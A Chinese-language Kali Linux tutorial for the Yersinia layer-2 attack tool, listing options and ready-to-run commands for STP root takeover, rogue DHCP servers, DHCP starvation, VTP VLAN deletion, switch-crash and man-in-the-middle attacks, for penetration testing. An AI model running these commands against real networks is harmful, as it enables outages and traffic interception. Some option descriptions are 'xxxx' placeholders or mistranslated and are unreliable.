Yersinia:layer 2攻击框架!全参数详细教程!Kali Linux教程!
简介
Yersinia 是一个用于执行二层攻击的框架。它旨在利用不同网络协议中的一些弱点。它伪装成一个用于分析和测试已部署网络和系统的可靠框架。
此特定版本实现了针对以下网络协议的攻击:
- 生成树协议 (STP)。
- 思科发现协议 (CDP)。
- 动态中继协议 (DTP)。
- 动态主机配置协议 (DHCP)。
- 热备用路由器协议 (HSRP)。
- 802.1q。
- 802.1x。
- 交换机间链路协议 (ISL)。
- VLAN 中继协议 (VTP)。
其中一些攻击会在网络中造成 DoS 攻击,另一些攻击则有助于执行其他更高级的攻击,或两者兼而有之。
Yersinia 无疑会为渗透测试人员和网络管理员的日常工作提供帮助。
上述一些攻击是 DoS 攻击,因此请谨慎操作,因为这可能会使您的网络变得不稳定。
安装
Kali Linux 默认是没有安装 yersinia 工具的,如果还没安装的话,可以通过以下命令来进行安装
sudo apt install yersinia
使用
注意:要使用 root 权限去运行
1. -h, --help
此帮助屏幕。
sudo yersinia -h
2. -V, --Version
程序版本。
sudo yersinia --Version
3. -G
启动图形 GTK 会话。
sudo yersinia -G
4. -I, --interactive
启动交互式 ncurses 会话。
sudo yersinia -I
注意,如果你的终端窗口太小的话会提示报错。需要使用更大的终端窗口才能运行。
5. -D, --daemon
启动远程管理的网络监听器(Cisco CLI 仿真)。
sudo yersinia -D
6. -d
启用调试消息。
sudo yersinia -d
7. -l logfile
将当前会话保存到文件 logfile。如果 logfile 存在,数据将附加到末尾。
sudo yersinia -l yersinia.log
8. -M
禁用 MAC 地址欺骗。
sudo yersinia -M
9. -c conffile
从/向 conffile 读取/写入配置变量。
sudo yersinia -c yersinia.conf
10. protocol
以下之一:cdp、dhcp、dot1q、dot1x、dtp、hsrp、isl、mpls、stp、vtp。
sudo yersinia stp
协议(protocol)
当前版本中实现了以下协议:
- 生成树协议(STP 和 RSTP)
- 思科发现协议 (CDP)
- 热备份路由器协议 (HSRP)
- 动态主机配置协议 (DHCP)
- 动态中继协议 (DTP)
- IEEE 802.1Q
- VLAN 中继协议 (VTP)
- 交换机间链路协议 (ISL)
- IEEE 802.1X
- 多协议标签交换 (MPLS)
协议选项(protocols options)
STP
生成树协议 (STP):是一种链路管理协议,它提供路径冗余,同时防止网络中出现不必要的环路。支持的选项包括
1. -version version
BPDU 版本(0:STP,2:RSTP,3:MSTP)
sudo yersinia stp -version 0
sudo yersinia stp -version 2
sudo yersinia stp -version 3
2. -type type
BPDU 类型(Configuration(配置),TCN)
sudo yersinia stp -type Configuration
sudo yersinia stp -type TCN
3. -flags flags
BPDU 标志
sudo yersinia stp -version 0 -flags 0x80
4. -id id
BPDU ID
sudo yersinia stp -version 0 -id 00:11:22:33:44:55
5. -cost pathcost
BPDU 根路径开销
sudo yersinia stp -version 0 -cost 1
6. -rootid id
BPDU 根 ID
sudo yersinia stp -version 0 -rootid 00:01:02:03:04:05
7. -bridgeid id
BPDU 桥 ID
sudo yersinia stp -version 0 -bridgeid 00:06:07:08:09:0A
8. -portid id
BPDU 端口 ID
sudo yersinia stp -version 0 -portid 128.1
9. -message secs
BPDU 消息年龄
sudo yersinia stp -version 0 -message 1
10. -max-age secs
BPDU 最大年龄(默认 20)
sudo yersinia stp -version 0 -max-age 10
11. -hello secs
BPDU Hello 时间(默认 2)
sudo yersinia stp -version 0 -hello 2
12. -forward secs
BPDU 转发延迟
sudo yersinia stp -version 0 -forward 5
13. -source hw_addr
源 MAC 地址
sudo yersinia stp -version 0 -source 00:11:22:33:44:55
14. -dest hw_addr
目标 MAC 地址
sudo yersinia stp -version 0 -dest 00:0c:29:f4:8e:14
15. -interface iface
设置要使用的网络接口
sudo yersinia stp -version 0 -interface eth0
16. -attack attack
发起攻击
sudo yersinia stp -attack 1 -interface eth0
CDP
思科发现协议 (CDP):思科专有协议,其主要目的是让思科设备能够相互通信,了解其设备设置和协议配置。支持的选项包括
1. -source hw_addr
MAC 源地址
2. -dest hw_addr
MAC 目标地址
sudo yersinia cdp -source 00:0c:29:f4:8e:14 -dest 00:0c:29:f4:8e:14
3. -v version
CDP 版本
sudo yersinia cdp -v 2
4. -ttl ttl
生存时间
sudo yersinia cdp -ttl 180
5. -devid id
设备 ID
sudo yersinia cdp -devid FakeSwitch01
6. -address address
设备地址
7. -port id
设备端口
sudo yersinia cdp -address 192.168.174.134 --port 80
8. -capability cap
设备功能
sudo yersinia cdp -capability 0x0f
9. -version version
设备 IOS 版本
sudo yersinia cdp -version "Cisco IOS Software, C3750"
10. -duplex 0|1
设备双工配置
sudo yersinia cdp -duplex 0
sudo yersinia cdp -duplex 1
11. -platform platform
设备平台
sudo yersinia cdp -platform C3750
12. -ipprefix ip
设备 IP 前缀
sudo yersinia cdp -ipprefix 192.168.1.0/24
13. -phello hello
设备 Hello 协议
sudo yersinia cdp -phello "Hello"
14. -mtu mtu
设备 MTU
sudo yersinia cdp -mtu 1500
15. -vtp_mgm_dom domain
设备 VTP 管理域
sudo yersinia cdp -vtp_mgm_dom VLAN-Domain
16. -native_vlan vlan
设备 Native VLAN
17. -voip_vlan_r req
设备 VoIP VLAN 应答
18. -voip_vlan_q query
设备 VoIP VLAN 查询
sudo yersinia cdp -native_vlan 1 -voip_vlan_r 10 -voip_vlan_q 10
19. -t_bitmap bitmap
设备信任位图
sudo yersinia cdp -t_bitmap 0x03
20. -untrust_cos cos
设备不信任的 CoS
sudo yersinia cdp -untrust_cos 0
21. -system_name name
设备系统名称
sudo yersinia cdp -system_name FakeCisco01
22. -system_oid oid
设备系统对象 ID
sudo yersinia cdp -system_oid 1.3.6.1.4.1.9.1.516
23. -mgm_address address
设备管理地址
24. -location location
设备位置
sudo yersinia cdp -mgm_address 192.168.174.2 -location "Data Center Rack 12"
25. -attack attack
要发起的攻击
sudo yersinia cdp -attack 1
HSRP
热备用路由器协议 (HSRP):
1. -source hw_addr
源 MAC 地址
2. -dest hw_addr
目标 MAC 地址
3. -interface iface
设置要使用的网络接口
4. -attack attack
要发起的攻击
sudo yersinia hsrp -source 00:0c:29:f4:8e:14 -dest 00:0c:29:f4:8e:14 -interface eth0 -attack 0
ISL
交换机间链路协议 (ISL):
1. -source hw_addr
源 MAC 地址
2. -dest hw_addr
目标 MAC 地址
3. -interface iface
设置要使用的网络接口
4. -attack attack
要发起的攻击
sudo yersinia isl -source 00:0c:29:f4:8e:14 -dest 00:0c:29:f4:8e:14 -interface eth0 -attack 0
VTP
VLAN 中继协议 (VTP):
1. -source hw_addr
源 MAC 地址
2. -dest hw_addr
目标 MAC 地址
3. -interface iface
设置要使用的网络接口
4. -attack attack
要发起的攻击
sudo yersinia vtp -source 00:0c:29:f4:8e:14 -dest 00:0c:29:f4:8e:14 -interface eth0 -attack 0
DHCP
动态主机配置协议 (DHCP):
1. -source hw_addr
源 MAC 地址
2. -dest hw_addr
目标 MAC 地址
3. -interface iface
设置要使用的网络接口
4. -attack attack
要发起的攻击
sudo yersinia dhcp -source 00:0c:29:f4:8e:14 -dest 00:0c:29:f4:8e:14 -interface eth0 -attack 0
IEEE 802.1Q
IEEE 802.1Q:
1. -source hw_addr
源 MAC 地址
2. -dest hw_addr
目标 MAC 地址
3. -interface iface
设置要使用的网络接口
4. -attack attack
发起的攻击
sudo yersinia dot1q -source 00:0c:29:f4:8e:14 -dest 00:0c:29:f4:8e:14 -interface eth0 -attack 0
DTP
动态中继协议 (DTP):
1. -source hw_addr
源 MAC 地址
2. -dest hw_addr
目标 MAC 地址
3. -interface iface
设置要使用的网络接口
4. -attack attack
发起的攻击
sudo yersinia dtp -source 00:0c:29:f4:8e:14 -dest 00:0c:29:f4:8e:14 -interface eth0 -attack 0
IEEE 802.1X
IEEE 802.1X:
1. -version arg
版本
2. -type arg
xxxx
3. -eapcode arg
xxxx
4. -eapid arg
xxxx
5. -eaptype arg
xxxx
6. -eapinfo arg
xxx
7. -interface arg
xxxx
sudo yersinia dot1x -version 1 -type 1 -eapcode 1 -eapid 1 -eaptype 1 -interface eth0
8. -source hw_addr
源 MAC 地址
9. -dest hw_addr
目标 MAC 地址
10. -interface iface
设置要使用的网络接口
11. -attack attack
要发起的攻击
sudo yersinia dot1x -source 00:0c:29:f4:8e:14 -dest 00:0c:29:f4:8e:14 -interface eth0 -attack 0
MPLS
多协议标签交换 (MPLS):
1. -source hw_addr
源 MAC 地址
2. -dest hw_addr
目标 MAC 地址
3. -interface iface
设置要使用的网络接口
4. -attack attack
发起攻击
sudo yersinia mpls -source 00:0c:29:f4:8e:14 -dest 00:0c:29:f4:8e:14 -interface eth0 -attack 0
5. -label1 arg
设置 MPLS 标签
6. -exp1 arg
设置 MPLS 实验位
7. -bottom1 arg
设置 MPLS 栈底标志
sudo yersinia mpls -label1 1 -exp1 1 -bottom1 1
8. -ttl1 arg
设置 MPLS 生存时间
9. -label2 arg
设置 MPLS 标签(第二个报头)
10. -exp2 arg
设置 MPLS 实验位(第二个报头)
11. -bottom2 arg
设置 MPLS 栈底标志(第二个报头)
12. -ttl2 arg
设置 MPLS 生存时间(第二个报头)
sudo yersinia mpls -label1 1 -exp1 1 -bottom1 1 -ttl1 10 -label2 2 -exp2 2 -bottom2 2 -ttl2 20
13. -ipsource ipv4
源 IP
14. -portsource port
源 TCP/UDP 端口
15. -ipdest ipv4
目标 IP
16. -portdest port
目标 TCP/UDP端口
17. -payload ASCII
ASCII IP 负载
sudo yersinia mpls -ipsource 192.168.174.134 -portsource 80 -ipdest 192.168.174.134 -portdest 80 -payload ASCII
攻击(attack)
在 STP 中实施的攻击
0:NONDOS 攻击,发送 conf BPDU
1:NONDOS 攻击,发送 tcn BPDU
2:DOS 攻击,发送 conf BPDU
3:DOS 攻击,发送 tcn BPDU
4:NONDOS 攻击,冒充 Root 角色
5:NONDOS 攻击,冒充其他角色
6:DOS 攻击,通过中间人攻击 (MITM) 冒充 Root 角色
在 CDP 中实施的攻击
0:NONDOS 攻击发送 CDP 数据包
1:DOS 攻击泛洪 CDP 表
2:NONDOS 攻击设置虚拟设备
在 HSRP 中实施的攻击
0:NONDOS 攻击发送原始 HSRP 数据包
1:NONDOS 攻击成为活动路由器
2:NONDOS 攻击成为活动路由器(中间人攻击)
在 DHCP 中实施的攻击
0:NONDOS 攻击发送 RAW 数据包
1:DOS 攻击发送 DISCOVER 数据包
2:NONDOS 攻击创建 DHCP 恶意服务器
3:DOS 攻击发送 RELEASE 数据包
在 DTP 中实施的攻击
0:NONDOS 攻击发送 DTP 数据包
1:NONDOS 攻击启用中继
在 802.1Q 中实施的攻击
0:NONDOS 攻击发送 802.1Q 数据包
1:NONDOS 攻击发送 802.1Q 双重加密数据包
2:发送 802.1Q ARP 中毒的 DOS 攻击
在 VTP 中实施的攻击
0:NONDOS 攻击发送 VTP 数据包
1:DOS 攻击删除所有 VTP VLAN
2:DOS 攻击删除一个 VLAN
3:NONDOS 攻击添加一个 VLAN
4:DOS 攻击导致 Catalyst 崩溃
在 802.1X 中实施的攻击
0:NONDOS 攻击发送 802.1X 数据包
1:NONDOS 攻击使用两个接口对 802.1X 进行中间人攻击
在 MPLS 中实施的攻击
0:NONDOS 攻击发送 TCP MPLS 数据包
1:NONDOS 攻击发送带有双报头的 TCP MPLS 数据包
2:NONDOS 攻击发送 UDP MPLS 数据包
3:NONDOS 攻击发送带有双报头的 UDP MPLS 数据包
4:NONDOS 攻击发送 ICMP MPLS数据包
5:NONDOS 攻击,发送带有双报头的 ICMP MPLS 数据包
在 ISL 中实施的攻击
目前无
GTK GUI
用户界面 (-G) 是一个 GTK 图形界面,具有所有 Yersinia 的强大功能和专业的“外观和感觉”。
NCURSES GUI
ncurses 图形用户界面 (-I) 是一个基于 ncurses(或 curses)的控制台,用户可以在其中充分利用 yersinia 的强大功能。
sudo yersinia -I
在当前界面按下一些按键会有特殊功能。
1. h
帮助屏幕
2. x
执行攻击
这里对应上面的 攻击 > 在 STP 中实施的攻击 一栏的选项。选择其中一项来进行攻击,按下给出的数字即可开始运行攻击。
3. i
编辑接口
4. ENTER
所选项目的信息
5. v
查看十六进制数据包转储
6. d
加载协议默认值
7. e
编辑数据包字段
8. f
列出捕获文件
9. s
保存协议数据包
10. S
保存所有协议的数据包
11. L
从网络学习数据包
12. M
设置 Mac 欺骗开启/关闭
13. l
列出正在运行的攻击
14. K
杀死所有正在运行的攻击
您将杀死来自*所有*协议的*所有*攻击...您确定吗? “Y”确认 - “N”中止
15. c
清除当前协议统计信息
16. C
清除所有协议统计信息
17. g
转到其他协议屏幕
上下方向键选择,ENTER 键去确定,ESC/Q 键退出
18. Ctrl-L
重绘屏幕
19. w
编写配置文件
20. a
关于这个程序
21. q
退出程序(发出噪音)
NETWORK DAEMON(网络守护进程)
网络守护进程 (-D) 是一个基于 Telnet 的服务器(类似 Cisco 模式),默认监听 12000/tcp 端口,等待传入的 Telnet 连接。
它支持类似于 Cisco 设备的命令行界面 (CLI),用户(经过身份验证后)可以显示不同的设置并发起攻击,而无需在自己的机器上运行 yersinia(尤其适用于 Windows 用户)。
综合示例
向 eth0 接口发送一个包含指定端口角色、端口状态协议、学习和端口 ID 0x3000 的快速生成树 BPDU
sudo yersinia stp -attack 0 -version 2 -flags 5c -portid 3000 -interface eth0
在第一个非环回接口发起生成树非 DoS 根声明攻击(请注意,此类攻击将使用网络接口上的第一个 BPDU 来正确填充 BPDU 字段)
sudo yersinia stp -attack 4
在 MAC 地址为 66:66:66:66:66:66 的 eth0 接口发起生成树 DoS 攻击,发送 TCN BPDU
sudo yersinia stp -attack 3 -source 66:66:66:66:66:66
总结
Yersinia 是一款专为测试和攻击第二层协议而设计的强大工具,对于从事网络安全的专业人员而言具有重要意义。通过对如STP、CDP、DTP等协议的深入分析与利用,Yersinia 有助于识别网络架构中的潜在弱点,从而提升整体防御能力。在实际渗透测试中,合理运用 Yersinia 可以更有效地评估局域网的安全性。
在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。
欢迎各位大佬,小白来找我交流。